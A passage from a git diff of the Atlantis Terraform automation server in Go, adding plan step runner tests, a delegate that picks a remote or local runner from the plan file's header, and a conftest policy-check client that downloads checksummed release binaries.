absProjectPath, + []string{"workspace", "show"}, + map[string]string(nil), + tfDistribution, + tfVersion, + "default")).ThenReturn("default\n", nil) + + // Then the first call to terraform plan should return the remote ops error. + expPlanArgs := []string{"plan", + "-input=false", + "-refresh", + "-out", + fmt.Sprintf("%q", filepath.Join(absProjectPath, "default.tfplan")), + "-var", + "atlantis_user=\"username\"", + "-var", + "atlantis_repo=\"owner/repo\"", + "-var", + "atlantis_repo_name=\"repo\"", + "-var", + "atlantis_repo_owner=\"owner\"", + "-var", + "atlantis_pull_num=2", + "extra", + "args", + "comment", + "args", + } + if tfVersion.GreaterThanOrEqual(version.Must(version.NewVersion("0.12.0"))) { + expPlanArgs = []string{"plan", + "-input=false", + "-refresh", + "-out", + fmt.Sprintf("%q", filepath.Join(absProjectPath, "default.tfplan")), + "extra", + "args", + "comment", + "args", + } + } + + planErr := errors.New("exit status 1: err") + planOutput := "\n" + c.remoteOpsErr + asyncTf.LinesToSend = remotePlanOutput + When(terraform.RunCommandWithVersion(ctx, absProjectPath, expPlanArgs, map[string]string(nil), tfDistribution, tfVersion, "default")). + ThenReturn(planOutput, planErr) + + output, err := s.Run(ctx, []string{"extra", "args"}, absProjectPath, map[string]string(nil)) + Ok(t, err) + Assert(t, strings.Contains(output, ` +An execution plan has been generated and is shown below. +Resource actions are indicated with the following symbols: +- destroy + +Terraform will perform the following actions: + +- null_resource.hi[1] + + +Plan: 0 to add, 0 to change, 1 to destroy.`), "expect plan success") + + expRemotePlanArgs := []string{"plan", "-input=false", "-refresh", "-no-color", "extra", "args", "comment", "args"} + Equals(t, expRemotePlanArgs, asyncTf.CalledArgs) + + // Verify that the fake plan file we write has the correct contents. + bytes, err := os.ReadFile(filepath.Join(absProjectPath, "default.tfplan")) + Ok(t, err) + Assert(t, strings.HasPrefix(string(bytes), "Atlantis: this plan was created by remote ops"), "expect remote plan") + + // Ensure that the status was updated with the runURL. + runURL := "https://app.terraform.io/app/lkysow-enterprises/atlantis-tfe-test/runs/run-is4oVvJfrkud1KvE" + commitStatusUpdater.VerifyWasCalledOnce().UpdateProject(ctx, command.Plan, models.PendingCommitStatus, runURL, nil) + commitStatusUpdater.VerifyWasCalledOnce().UpdateProject(ctx, command.Plan, models.SuccessCommitStatus, runURL, nil) + }) + } +} + +// Test striping output method +func TestStripRefreshingFromPlanOutput(t *testing.T) { + tfVersion0135, _ := version.NewVersion("0.13.5") + tfVersion0140, _ := version.NewVersion("0.14.0") + cases := []struct { + out string + tfVersion *version.Version + }{ + { + remotePlanOutput, + tfVersion0135, + }, + { + `Running plan in the remote backend. Output will stream here. Pressing Ctrl-C +will stop streaming the logs, but will not stop the plan running remotely. + +Preparing the remote plan... + +To view this run in a browser, visit: +https://app.terraform.io/app/lkysow-enterprises/atlantis-tfe-test/runs/run-is4oVvJfrkud1KvE + +Waiting for the plan to start... + +Terraform v0.14.0 + +Configuring remote state backend... +Initializing Terraform configuration... +2019/02/20 22:40:52 [DEBUG] Using modified User-Agent: Terraform/0.14.0TFE/202eeff +Refreshing Terraform state in-memory prior to plan... +The refreshed state will be used to calculate this plan, but will not be +persisted to local or remote state storage. + +null_resource.hi: Refreshing state... (ID: 217661332516885645) +null_resource.hi[1]: Refreshing state... (ID: 6064510335076839362) + +An execution plan has been generated and is shown below. +Resource actions are indicated with the following symbols: + - destroy + +Terraform will perform the following actions: + + - null_resource.hi[1] + + +Plan: 0 to add, 0 to change, 1 to destroy.`, + tfVersion0140, + }, + } + + for _, c := range cases { + output := runtime.StripRefreshingFromPlanOutput(c.out, c.tfVersion) + Equals(t, ` +An execution plan has been generated and is shown below. +Resource actions are indicated with the following symbols: + - destroy + +Terraform will perform the following actions: + + - null_resource.hi[1] + + +Plan: 0 to add, 0 to change, 1 to destroy.`, output) + } +} + +func TestPlanStepRunner_TestRun_UsesConfiguredDistribution(t *testing.T) { + RegisterMockTestingT(t) + + expPlanArgs := []string{ + "plan", + "-input=false", + "-refresh", + "-out", + fmt.Sprintf("%q", "/path/default.tfplan"), + "extra", + "args", + "comment", + "args", + } + + cases := []struct { + name string + tfVersion string + tfDistribution string + }{ + { + "stable version", + "0.12.0", + "terraform", + }, + { + "with prerelease", + "0.14.0-rc1", + "opentofu", + }, + } + + for _, c := range cases { + t.Run(c.name, func(t *testing.T) { + terraform := tfclientmocks.NewMockClient() + commitStatusUpdater := runtimemocks.NewMockStatusUpdater() + asyncTfExec := runtimemocks.NewMockAsyncTFExec() + When(terraform.RunCommandWithVersion( + Any[command.ProjectContext](), + Any[string](), + Any[[]string](), + Any[map[string]string](), + Any[tf.Distribution](), + Any[*version.Version](), + Any[string]())).ThenReturn("output", nil) + + mockDownloader := mocks.NewMockDownloader() + tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) + tfVersion, _ := version.NewVersion(c.tfVersion) + s := runtime.NewPlanStepRunner(terraform, tfDistribution, tfVersion, commitStatusUpdater, asyncTfExec) + ctx := command.ProjectContext{ + Workspace: "default", + RepoRelDir: ".", + User: models.User{Username: "username"}, + EscapedCommentArgs: []string{"comment", "args"}, + Pull: models.PullRequest{ + Num: 2, + }, + BaseRepo: models.Repo{ + FullName: "owner/repo", + Owner: "owner", + Name: "repo", + }, + TerraformDistribution: &c.tfDistribution, + } + + output, err := s.Run(ctx, []string{"extra", "args"}, "/path", map[string]string(nil)) + Ok(t, err) + Equals(t, "output", output) + + terraform.VerifyWasCalledOnce().RunCommandWithVersion(Eq(ctx), Eq("/path"), Eq(expPlanArgs), Eq(map[string]string(nil)), NotEq(tfDistribution), Eq(tfVersion), Eq("default")) + }) + } + +} + +type remotePlanMock struct { + // LinesToSend will be sent on the channel. + LinesToSend string + // CalledArgs is what args we were called with. + CalledArgs []string +} + +func (r *remotePlanMock) RunCommandAsync(_ command.ProjectContext, _ string, args []string, _ map[string]string, _ tf.Distribution, _ *version.Version, _ string) (chan<- string, <-chan runtimemodels.Line) { + r.CalledArgs = args + in := make(chan string) + out := make(chan runtimemodels.Line) + go func() { + for _, line := range strings.Split(r.LinesToSend, "\n") { + out <- runtimemodels.Line{Line: line} + } + close(out) + close(in) + }() + return in, out +} + +func stringSliceEquals(a, b []string) bool { + if len(a) != len(b) { + return false + } + for i, v := range a { + if v != b[i] { + return false + } + } + return true +} + +var remotePlanOutput = `Running plan in the remote backend. Output will stream here. Pressing Ctrl-C +will stop streaming the logs, but will not stop the plan running remotely. + +Preparing the remote plan... + +To view this run in a browser, visit: +https://app.terraform.io/app/lkysow-enterprises/atlantis-tfe-test/runs/run-is4oVvJfrkud1KvE + +Waiting for the plan to start... + +Terraform v0.11.11 + +Configuring remote state backend... +Initializing Terraform configuration... +2019/02/20 22:40:52 [DEBUG] Using modified User-Agent: Terraform/0.11.11 TFE/202eeff +Refreshing Terraform state in-memory prior to plan... +The refreshed state will be used to calculate this plan, but will not be +persisted to local or remote state storage. + +null_resource.hi: Refreshing state... (ID: 217661332516885645) +null_resource.hi[1]: Refreshing state... (ID: 6064510335076839362) + +------------------------------------------------------------------------ + +An execution plan has been generated and is shown below. +Resource actions are indicated with the following symbols: + - destroy + +Terraform will perform the following actions: + + - null_resource.hi[1] + + +Plan: 0 to add, 0 to change, 1 to destroy.` diff --git a/server/core/runtime/plan_type_step_runner_delegate.go b/server/core/runtime/plan_type_step_runner_delegate.go new file mode 100644 index 0000000000..f5d0577943 --- /dev/null +++ b/server/core/runtime/plan_type_step_runner_delegate.go @@ -0,0 +1,47 @@ +package runtime + +import ( + "os" + "path/filepath" + + "github.com/pkg/errors" + "github.com/runatlantis/atlantis/server/events/command" +) + +func NewPlanTypeStepRunnerDelegate(defaultRunner Runner, remotePlanRunner Runner) Runner { + return &planTypeStepRunnerDelegate{ + defaultRunner: defaultRunner, + remotePlanRunner: remotePlanRunner, + } +} + +// planTypeStepRunnerDelegate delegates based on the type of plan, ie. remote backend which doesn't support certain functions +type planTypeStepRunnerDelegate struct { + defaultRunner Runner + remotePlanRunner Runner +} + +func (p *planTypeStepRunnerDelegate) isRemotePlan(planFile string) (bool, error) { + data, err := os.ReadFile(planFile) + + if err != nil { + return false, errors.Wrapf(err, "unable to read %s", planFile) + } + + return IsRemotePlan(data), nil +} + +func (p *planTypeStepRunnerDelegate) Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) (string, error) { + planFile := filepath.Join(path, GetPlanFilename(ctx.Workspace, ctx.ProjectName)) + remotePlan, err := p.isRemotePlan(planFile) + + if err != nil { + return "", err + } + + if remotePlan { + return p.remotePlanRunner.Run(ctx, extraArgs, path, envs) + } + + return p.defaultRunner.Run(ctx, extraArgs, path, envs) +} diff --git a/server/core/runtime/plan_type_step_runner_delegate_test.go b/server/core/runtime/plan_type_step_runner_delegate_test.go new file mode 100644 index 0000000000..db4be0ff03 --- /dev/null +++ b/server/core/runtime/plan_type_step_runner_delegate_test.go @@ -0,0 +1,300 @@ +package runtime + +import ( + "errors" + "os" + "path/filepath" + "testing" + + "github.com/hashicorp/go-version" + . "github.com/petergtz/pegomock/v4" + . "github.com/runatlantis/atlantis/testing" + + "github.com/runatlantis/atlantis/server/core/runtime/mocks" + "github.com/runatlantis/atlantis/server/events/command" +) + +var planFileContents = ` +An execution plan has been generated and is shown below. +Resource actions are indicated with the following symbols: + - destroy + +Terraform will perform the following actions: + + - null_resource.hi[1] + + +Plan: 0 to add, 0 to change, 1 to destroy.` + +func TestRunDelegate(t *testing.T) { + + RegisterMockTestingT(t) + + mockDefaultRunner := mocks.NewMockRunner() + mockRemoteRunner := mocks.NewMockRunner() + + subject := &planTypeStepRunnerDelegate{ + defaultRunner: mockDefaultRunner, + remotePlanRunner: mockRemoteRunner, + } + + tfVersion, _ := version.NewVersion("0.12.0") + + t.Run("Remote Runner Success", func(t *testing.T) { + tmpDir := t.TempDir() + planPath := filepath.Join(tmpDir, "workspace.tfplan") + err := os.WriteFile(planPath, []byte("Atlantis: this plan was created by remote ops\n"+planFileContents), 0600) + Ok(t, err) + + ctx := command.ProjectContext{ + Workspace: "workspace", + RepoRelDir: ".", + EscapedCommentArgs: []string{"comment", "args"}, + TerraformVersion: tfVersion, + } + extraArgs := []string{"extra", "args"} + envs := map[string]string{} + + expectedOut := "some random output" + + When(mockRemoteRunner.Run(ctx, extraArgs, tmpDir, envs)).ThenReturn(expectedOut, nil) + + output, err := subject.Run(ctx, extraArgs, tmpDir, envs) + + mockDefaultRunner.VerifyWasCalled(Never()) + + Equals(t, expectedOut, output) + Ok(t, err) + + }) + + t.Run("Remote Runner Failure", func(t *testing.T) { + tmpDir := t.TempDir() + planPath := filepath.Join(tmpDir, "workspace.tfplan") + err := os.WriteFile(planPath, []byte("Atlantis: this plan was created by remote ops\n"+planFileContents), 0600) + Ok(t, err) + + ctx := command.ProjectContext{ + Workspace: "workspace", + RepoRelDir: ".", + EscapedCommentArgs: []string{"comment", "args"}, + TerraformVersion: tfVersion, + } + extraArgs := []string{"extra", "args"} + envs := map[string]string{} + + expectedOut := "some random output" + + When(mockRemoteRunner.Run(ctx, extraArgs, tmpDir, envs)).ThenReturn(expectedOut, errors.New("err")) + + output, err := subject.Run(ctx, extraArgs, tmpDir, envs) + + mockDefaultRunner.VerifyWasCalled(Never()) + + Equals(t, expectedOut, output) + Assert(t, err != nil, "err should not be nil") + + }) + + t.Run("Local Runner Success", func(t *testing.T) { + tmpDir := t.TempDir() + planPath := filepath.Join(tmpDir, "workspace.tfplan") + err := os.WriteFile(planPath, []byte(planFileContents), 0600) + Ok(t, err) + + ctx := command.ProjectContext{ + Workspace: "workspace", + RepoRelDir: ".", + EscapedCommentArgs: []string{"comment", "args"}, + TerraformVersion: tfVersion, + } + extraArgs := []string{"extra", "args"} + envs := map[string]string{} + + expectedOut := "some random output" + + When(mockDefaultRunner.Run(ctx, extraArgs, tmpDir, envs)).ThenReturn(expectedOut, nil) + + output, err := subject.Run(ctx, extraArgs, tmpDir, envs) + + mockRemoteRunner.VerifyWasCalled(Never()) + + Equals(t, expectedOut, output) + Ok(t, err) + + }) + + t.Run("Local Runner Failure", func(t *testing.T) { + tmpDir := t.TempDir() + planPath := filepath.Join(tmpDir, "workspace.tfplan") + err := os.WriteFile(planPath, []byte(planFileContents), 0600) + Ok(t, err) + + ctx := command.ProjectContext{ + Workspace: "workspace", + RepoRelDir: ".", + EscapedCommentArgs: []string{"comment", "args"}, + TerraformVersion: tfVersion, + } + extraArgs := []string{"extra", "args"} + envs := map[string]string{} + + expectedOut := "some random output" + + When(mockDefaultRunner.Run(ctx, extraArgs, tmpDir, envs)).ThenReturn(expectedOut, errors.New("err")) + + output, err := subject.Run(ctx, extraArgs, tmpDir, envs) + + mockRemoteRunner.VerifyWasCalled(Never()) + + Equals(t, expectedOut, output) + Assert(t, err != nil, "err should not be nil") + + }) + +} + +var openTofuPlanFileContents = ` +An execution plan has been generated and is shown below. +Resource actions are indicated with the following symbols: + - destroy + +OpenTofu will perform the following actions: + + - null_resource.hi[1] + + +Plan: 0 to add, 0 to change, 1 to destroy.` + +func TestRunDelegate_UsesConfiguredDistribution(t *testing.T) { + + RegisterMockTestingT(t) + + mockDefaultRunner := mocks.NewMockRunner() + mockRemoteRunner := mocks.NewMockRunner() + + subject := &planTypeStepRunnerDelegate{ + defaultRunner: mockDefaultRunner, + remotePlanRunner: mockRemoteRunner, + } + + tfDistribution := "opentofu" + tfVersion, _ := version.NewVersion("1.7.0") + + t.Run("Remote Runner Success", func(t *testing.T) { + tmpDir := t.TempDir() + planPath := filepath.Join(tmpDir, "workspace.tfplan") + err := os.WriteFile(planPath, []byte("Atlantis: this plan was created by remote ops\n"+openTofuPlanFileContents), 0600) + Ok(t, err) + + ctx := command.ProjectContext{ + Workspace: "workspace", + RepoRelDir: ".", + EscapedCommentArgs: []string{"comment", "args"}, + TerraformDistribution: &tfDistribution, + TerraformVersion: tfVersion, + } + extraArgs := []string{"extra", "args"} + envs := map[string]string{} + + expectedOut := "some random output" + + When(mockRemoteRunner.Run(ctx, extraArgs, tmpDir, envs)).ThenReturn(expectedOut, nil) + + output, err := subject.Run(ctx, extraArgs, tmpDir, envs) + + mockDefaultRunner.VerifyWasCalled(Never()) + + Equals(t, expectedOut, output) + Ok(t, err) + + }) + + t.Run("Remote Runner Failure", func(t *testing.T) { + tmpDir := t.TempDir() + planPath := filepath.Join(tmpDir, "workspace.tfplan") + err := os.WriteFile(planPath, []byte("Atlantis: this plan was created by remote ops\n"+openTofuPlanFileContents), 0600) + Ok(t, err) + + ctx := command.ProjectContext{ + Workspace: "workspace", + RepoRelDir: ".", + EscapedCommentArgs: []string{"comment", "args"}, + TerraformDistribution: &tfDistribution, + TerraformVersion: tfVersion, + } + extraArgs := []string{"extra", "args"} + envs := map[string]string{} + + expectedOut := "some random output" + + When(mockRemoteRunner.Run(ctx, extraArgs, tmpDir, envs)).ThenReturn(expectedOut, errors.New("err")) + + output, err := subject.Run(ctx, extraArgs, tmpDir, envs) + + mockDefaultRunner.VerifyWasCalled(Never()) + + Equals(t, expectedOut, output) + Assert(t, err != nil, "err should not be nil") + + }) + + t.Run("Local Runner Success", func(t *testing.T) { + tmpDir := t.TempDir() + planPath := filepath.Join(tmpDir, "workspace.tfplan") + err := os.WriteFile(planPath, []byte(openTofuPlanFileContents), 0600) + Ok(t, err) + + ctx := command.ProjectContext{ + Workspace: "workspace", + RepoRelDir: ".", + EscapedCommentArgs: []string{"comment", "args"}, + TerraformDistribution: &tfDistribution, + TerraformVersion: tfVersion, + } + extraArgs := []string{"extra", "args"} + envs := map[string]string{} + + expectedOut := "some random output" + + When(mockDefaultRunner.Run(ctx, extraArgs, tmpDir, envs)).ThenReturn(expectedOut, nil) + + output, err := subject.Run(ctx, extraArgs, tmpDir, envs) + + mockRemoteRunner.VerifyWasCalled(Never()) + + Equals(t, expectedOut, output) + Ok(t, err) + + }) + + t.Run("Local Runner Failure", func(t *testing.T) { + tmpDir := t.TempDir() + planPath := filepath.Join(tmpDir, "workspace.tfplan") + err := os.WriteFile(planPath, []byte(openTofuPlanFileContents), 0600) + Ok(t, err) + + ctx := command.ProjectContext{ + Workspace: "workspace", + RepoRelDir: ".", + EscapedCommentArgs: []string{"comment", "args"}, + TerraformDistribution: &tfDistribution, + TerraformVersion: tfVersion, + } + extraArgs := []string{"extra", "args"} + envs := map[string]string{} + + expectedOut := "some random output" + + When(mockDefaultRunner.Run(ctx, extraArgs, tmpDir, envs)).ThenReturn(expectedOut, errors.New("err")) + + output, err := subject.Run(ctx, extraArgs, tmpDir, envs) + + mockRemoteRunner.VerifyWasCalled(Never()) + + Equals(t, expectedOut, output) + Assert(t, err != nil, "err should not be nil") + + }) + +} diff --git a/server/core/runtime/policy/conftest_client.go b/server/core/runtime/policy/conftest_client.go new file mode 100644 index 0000000000..88dc3bb173 --- /dev/null +++ b/server/core/runtime/policy/conftest_client.go @@ -0,0 +1,343 @@ +package policy + +import ( + "context" + "errors" + "fmt" + "os" + "path/filepath" + "runtime" + "strings" + + "encoding/json" + "regexp" + + "github.com/hashicorp/go-getter/v2" + + version "github.com/hashicorp/go-version" + + "github.com/runatlantis/atlantis/server/core/config/valid" + "github.com/runatlantis/atlantis/server/core/runtime/cache" + runtime_models "github.com/runatlantis/atlantis/server/core/runtime/models" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/logging" +) + +const ( + DefaultConftestVersionEnvKey = "DEFAULT_CONFTEST_VERSION" + conftestBinaryName = "conftest" + conftestDownloadURLPrefix = "https://github.com/open-policy-agent/conftest/releases/download/v" +) + +type Arg struct { + Param string + Option string +} + +func (a Arg) build() []string { + return []string{a.Option, a.Param} +} + +func NewPolicyArg(parameter string) Arg { + return Arg{ + Param: parameter, + Option: "-p", + } +} + +type ConftestTestCommandArgs struct { + PolicyArgs []Arg + ExtraArgs []string + InputFile string + Command string +} + +func (c ConftestTestCommandArgs) build() ([]string, error) { + + if len(c.PolicyArgs) == 0 { + return []string{}, errors.New("no policies specified") + } + + // add the subcommand + commandArgs := []string{c.Command, "test"} + + for _, a := range c.PolicyArgs { + commandArgs = append(commandArgs, a.build()...) + } + + // add hardcoded options + commandArgs = append(commandArgs, c.InputFile, "--no-color") + + // add extra args provided through server config + commandArgs = append(commandArgs, c.ExtraArgs...) + + return commandArgs, nil +} + +// SourceResolver resolves the policy set to a local fs path +// +//go:generate pegomock generate --package mocks -o mocks/mock_conftest_client.go SourceResolver +type SourceResolver interface { + Resolve(policySet valid.PolicySet) (string, error) +} + +// LocalSourceResolver resolves a local policy set to a local fs path +type LocalSourceResolver struct { +} + +func (p *LocalSourceResolver) Resolve(policySet valid.PolicySet) (string, error) { + return policySet.Path, nil + +} + +// SourceResolverProxy proxies to underlying source resolvers dynamically +type SourceResolverProxy struct { + localSourceResolver SourceResolver +} + +func (p *SourceResolverProxy) Resolve(policySet valid.PolicySet) (string, error) { + switch source := policySet.Source; source { + case valid.LocalPolicySet: + return p.localSourceResolver.Resolve(policySet) + default: + return "", fmt.Errorf("unable to resolve policy set source %s", source) + } +} + +//go:generate pegomock generate --package mocks -o mocks/mock_downloader.go Downloader + +type Downloader interface { + GetAny(dst, src string) error +} + +type ConfTestGoGetterVersionDownloader struct{} + +func (c ConfTestGoGetterVersionDownloader) GetAny(dst, src string) error { + _, err := getter.GetAny(context.Background(), dst, src) + return err +} + +type ConfTestVersionDownloader struct { + downloader Downloader +} + +func (c ConfTestVersionDownloader) downloadConfTestVersion(v *version.Version, destPath string) (runtime_models.FilePath, error) { + versionURLPrefix := fmt.Sprintf("%s%s", conftestDownloadURLPrefix, v.Original()) + + conftestPlatform := getPlatform() + if conftestPlatform == "" { + return runtime_models.LocalFilePath(""), fmt.Errorf("don't know where to find conftest for %s on %s", runtime.GOOS, runtime.GOARCH) + } + + // download binary in addition to checksum file + binURL := fmt.Sprintf("%s/conftest_%s_%s.tar.gz", versionURLPrefix, v.Original(), conftestPlatform) + checksumURL := fmt.Sprintf("%s/checksums.txt", versionURLPrefix) + + // underlying implementation uses go-getter so the URL is formatted as such. + // i know i know, I'm assuming an interface implementation with my inputs. + // realistically though the interface just exists for testing so ¯\_(ツ)_/¯ + fullSrcURL := fmt.Sprintf("%s?checksum=file:%s", binURL, checksumURL) + + if err := c.downloader.GetAny(destPath, fullSrcURL); err != nil { + return runtime_models.LocalFilePath(""), fmt.Errorf("downloading conftest version %s at %q: %w", v.String(), fullSrcURL, err) + } + + binPath := filepath.Join(destPath, "conftest") + + return runtime_models.LocalFilePath(binPath), nil +} + +// ConfTestExecutorWorkflow runs a versioned conftest binary with the args built from the project context. +// Project context defines whether conftest runs a local policy set or runs a test on a remote policy set. +type ConfTestExecutorWorkflow struct { + SourceResolver SourceResolver + VersionCache cache.ExecutionVersionCache + DefaultConftestVersion *version.Version + Exec runtime_models.Exec +} + +func NewConfTestExecutorWorkflow(log logging.SimpleLogging, versionRootDir string, conftestDownloder Downloader) *ConfTestExecutorWorkflow { + downloader := ConfTestVersionDownloader{ + downloader: conftestDownloder, + } + version, err := getDefaultVersion() + + if err != nil { + // conftest default versions are not essential to service startup so let's not block on it. + log.Info("failed to get default conftest version. Will attempt request scoped lazy loads %s", err.Error()) + } + + versionCache := cache.NewExecutionVersionLayeredLoadingCache( + conftestBinaryName, + versionRootDir, + downloader.downloadConfTestVersion, + ) + + return &ConfTestExecutorWorkflow{ + VersionCache: versionCache, + DefaultConftestVersion: version, + SourceResolver: &SourceResolverProxy{ + localSourceResolver: &LocalSourceResolver{}, + }, + Exec: runtime_models.LocalExec{}, + } +} + +func (c *ConfTestExecutorWorkflow) Run(ctx command.ProjectContext, executablePath string, envs map[string]string, workdir string, extraArgs []string) (string, error) { + ctx.Log.Debug("policy sets, %s ", ctx.PolicySets) + + inputFile := filepath.Join(workdir, ctx.GetShowResultFileName()) + var policySetResults []models.PolicySetResult + var combinedErr error + + for _, policySet := range ctx.PolicySets.PolicySets { + path, resolveErr := c.SourceResolver.Resolve(policySet) + + // Let's not fail the whole step because of a single failure. Log and fail silently + if resolveErr != nil { + ctx.Log.Err("Error resolving policyset %s. err: %s", policySet.Name, resolveErr.Error()) + continue + } + + args := ConftestTestCommandArgs{ + PolicyArgs: []Arg{NewPolicyArg(path)}, + ExtraArgs: extraArgs, + InputFile: inputFile, + Command: executablePath, + } + + serializedArgs, _ := args.build() + cmdOutput, cmdErr := c.Exec.CombinedOutput(serializedArgs, envs, workdir) + + if cmdErr != nil { + // Since we're running conftest for each policyset, individual command errors should be concatenated. + if isValidConftestOutput(cmdOutput) { + combinedErr = errors.Join(combinedErr, fmt.Errorf("policy_set: %s: conftest: some policies failed", policySet.Name)) + } else { + combinedErr = errors.Join(combinedErr, fmt.Errorf("policy_set: %s: conftest: %s", policySet.Name, cmdOutput)) + } + } + + passed := true + if hasFailures(cmdOutput) { + passed = false + } + + policySetResults = append(policySetResults, models.PolicySetResult{ + PolicySetName: policySet.Name, + PolicyOutput: cmdOutput, + Passed: passed, + ReqApprovals: policySet.ApproveCount, + }) + } + + if policySetResults == nil { + ctx.Log.Warn("no policies have been configured.") + return "", nil + // TODO: enable when we can pass policies in otherwise e2e tests with policy checks fail + // return "", errors.Wrap(err, "building args") + } + + marshaledStatus, err := json.Marshal(policySetResults) + if err != nil { + return "", errors.New("cannot marshal data into []PolicySetResult. data") + } + + // Write policy check results to a file which can be used by custom workflow run steps for metrics, notifications, etc. + policyCheckResultFile := filepath.Join(workdir, ctx.GetPolicyCheckResultFileName()) + err = os.WriteFile(policyCheckResultFile, marshaledStatus, 0600) + + combinedErr = errors.Join(combinedErr, err) + + output := string(marshaledStatus) + + return c.sanitizeOutput(inputFile, output), combinedErr + +} + +func (c *ConfTestExecutorWorkflow) sanitizeOutput(inputFile string, output string) string { + return strings.Replace(output, inputFile, "", -1) +} + +func (c *ConfTestExecutorWorkflow) EnsureExecutorVersion(log logging.SimpleLogging, v *version.Version) (string, error) { + // we have no information to proceed, so fallback to `conftest` command or fail hard + if c.DefaultConftestVersion == nil && v == nil { + localPath, err := c.Exec.LookPath(conftestBinaryName) + if err == nil { + log.Info("conftest version is not specified, so fallback to conftest command") + return localPath, nil + } + return "", errors.New("no conftest version configured/specified or not found conftest command") + } + + var versionToRetrieve *version.Version + + if v == nil { + versionToRetrieve = c.DefaultConftestVersion + } else { + versionToRetrieve = v + } + + localPath, err := c.VersionCache.Get(versionToRetrieve) + + if err != nil { + return "", err + } + + return localPath, nil + +} + +func getDefaultVersion() (*version.Version, error) { + // ensure version is not default version. + // first check for the env var and if that doesn't exist use the local executable version + defaultVersion, exists := os.LookupEnv(DefaultConftestVersionEnvKey) + + if !exists { + return nil, fmt.Errorf("%s not set", DefaultConftestVersionEnvKey) + } + + wrappedVersion, err := version.NewVersion(defaultVersion) + + if err != nil { + return nil, fmt.Errorf("wrapping version %s: %w", defaultVersion, err) + } + return wrappedVersion, nil +} + +// Checks if output from conftest is a valid output. +func isValidConftestOutput(output string) bool { + + r := regexp.MustCompile(`^(WARN|FAIL|\[)`) + if match := r.FindString(output); match != "" { + return true + } + return false +} + +// hasFailures checks whether any conftest policies have failed +func hasFailures(output string) bool { + r := regexp.MustCompile(`([1-9]([0-9]?)* failure|failures": \[)`) + if match := r.FindString(output); match != "" { + return true + } + return false +} + +func getPlatform() string { + platform := runtime.GOOS + "_" + runtime.GOARCH + + switch platform { + case "linux_amd64": + return "Linux_x86_64" + case "linux_arm64": + return "Linux_arm64" + case "darwin_amd64": + return "Darwin_x86_64" + case "darwin_arm64": + return "Darwin_arm64" + default: + return "" + } +} diff --git a/server/core/runtime/policy/conftest_client_test.go b/server/core/runtime/policy/conftest_client_test.go new file mode 100644 index 0000000000..3b2bbd0645 --- /dev/null +++ b/server/core/runtime/policy/conftest_client_test.go @@ -0,0 +1,322 @@ +package policy + +import ( + "errors" + "fmt" + "path/filepath" + "testing" + + "github.com/hashicorp/go-version" + . "github.com/petergtz/pegomock/v4" + "github.com/runatlantis/atlantis/server/core/config/valid" + "github.com/runatlantis/atlantis/server/core/runtime/cache/mocks" + models_mocks "github.com/runatlantis/atlantis/server/core/runtime/models/mocks" + conftest_mocks "github.com/runatlantis/atlantis/server/core/runtime/policy/mocks" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/logging" + . "github.com/runatlantis/atlantis/testing" +) + +func TestConfTestVersionDownloader(t *testing.T) { + + version, _ := version.NewVersion("0.25.0") + destPath := "some/path" + platform := getPlatform() + fullURL := fmt.Sprintf("https://github.com/open-policy-agent/conftest/releases/download/v0.25.0/conftest_0.25.0_%s.tar.gz?checksum=file:https://github.com/open-policy-agent/conftest/releases/download/v0.25.0/checksums.txt", platform) + + RegisterMockTestingT(t) + + mockDownloader := conftest_mocks.NewMockDownloader() + + subject := ConfTestVersionDownloader{ + downloader: mockDownloader, + } + + t.Run("success", func(t *testing.T) { + + binPath, err := subject.downloadConfTestVersion(version, destPath) + + mockDownloader.VerifyWasCalledOnce().GetAny(Eq(destPath), Eq(fullURL)) + + Ok(t, err) + + Assert(t, binPath.Resolve() == filepath.Join(destPath, "conftest"), "expected binpath") + }) + + t.Run("error", func(t *testing.T) { + + When(mockDownloader.GetAny(Eq(destPath), Eq(fullURL))).ThenReturn(errors.New("err")) + _, err := subject.downloadConfTestVersion(version, destPath) + + Assert(t, err != nil, "err is expected") + }) +} + +func TestEnsureExecutorVersion(t *testing.T) { + + defaultVersion, _ := version.NewVersion("1.0") + expectedPath := "some/path" + + RegisterMockTestingT(t) + + mockCache := mocks.NewMockExecutionVersionCache() + mockExec := models_mocks.NewMockExec() + log := logging.NewNoopLogger(t) + + t.Run("no specified version or default version without conftest command", func(t *testing.T) { + subject := &ConfTestExecutorWorkflow{ + VersionCache: mockCache, + Exec: mockExec, + } + + When(mockExec.LookPath(Any[string]())).ThenReturn("", errors.New("not found")) + _, err := subject.EnsureExecutorVersion(log, nil) + + Assert(t, err != nil, "expected error finding version") + }) + + t.Run("no specified version or default version with conftest command", func(t *testing.T) { + subject := &ConfTestExecutorWorkflow{ + VersionCache: mockCache, + Exec: mockExec, + } + When(mockExec.LookPath(Any[string]())).ThenReturn(expectedPath, nil) + path, err := subject.EnsureExecutorVersion(log, nil) + Ok(t, err) + Assert(t, path == expectedPath, "path is expected") + }) + + t.Run("use default version", func(t *testing.T) { + subject := &ConfTestExecutorWorkflow{ + VersionCache: mockCache, + DefaultConftestVersion: defaultVersion, + } + + When(mockCache.Get(defaultVersion)).ThenReturn(expectedPath, nil) + + path, err := subject.EnsureExecutorVersion(log, nil) + + Ok(t, err) + + Assert(t, path == expectedPath, "path is expected") + }) + + t.Run("use specified version", func(t *testing.T) { + subject := &ConfTestExecutorWorkflow{ + VersionCache: mockCache, + DefaultConftestVersion: defaultVersion, + } + + versionInput, _ := version.NewVersion("2.0") + + When(mockCache.Get(versionInput)).ThenReturn(expectedPath, nil) + + path, err := subject.EnsureExecutorVersion(log, versionInput) + + Ok(t, err) + + Assert(t, path == expectedPath, "path is expected") + }) + + t.Run("cache error", func(t *testing.T) { + subject := &ConfTestExecutorWorkflow{ + VersionCache: mockCache, + DefaultConftestVersion: defaultVersion, + } + + versionInput, _ := version.NewVersion("2.0") + + When(mockCache.Get(versionInput)).ThenReturn(expectedPath, errors.New("some err")) + + _, err := subject.EnsureExecutorVersion(log, versionInput) + + Assert(t, err != nil, "path is expected") + }) +} + +func TestRun(t *testing.T) { + + RegisterMockTestingT(t) + mockResolver := conftest_mocks.NewMockSourceResolver() + mockExec := models_mocks.NewMockExec() + + subject := &ConfTestExecutorWorkflow{ + SourceResolver: mockResolver, + Exec: mockExec, + } + log := logging.NewNoopLogger(t) + + policySetName1 := "policy1" + policySetPath1 := "/some/path" + localPolicySetPath1 := 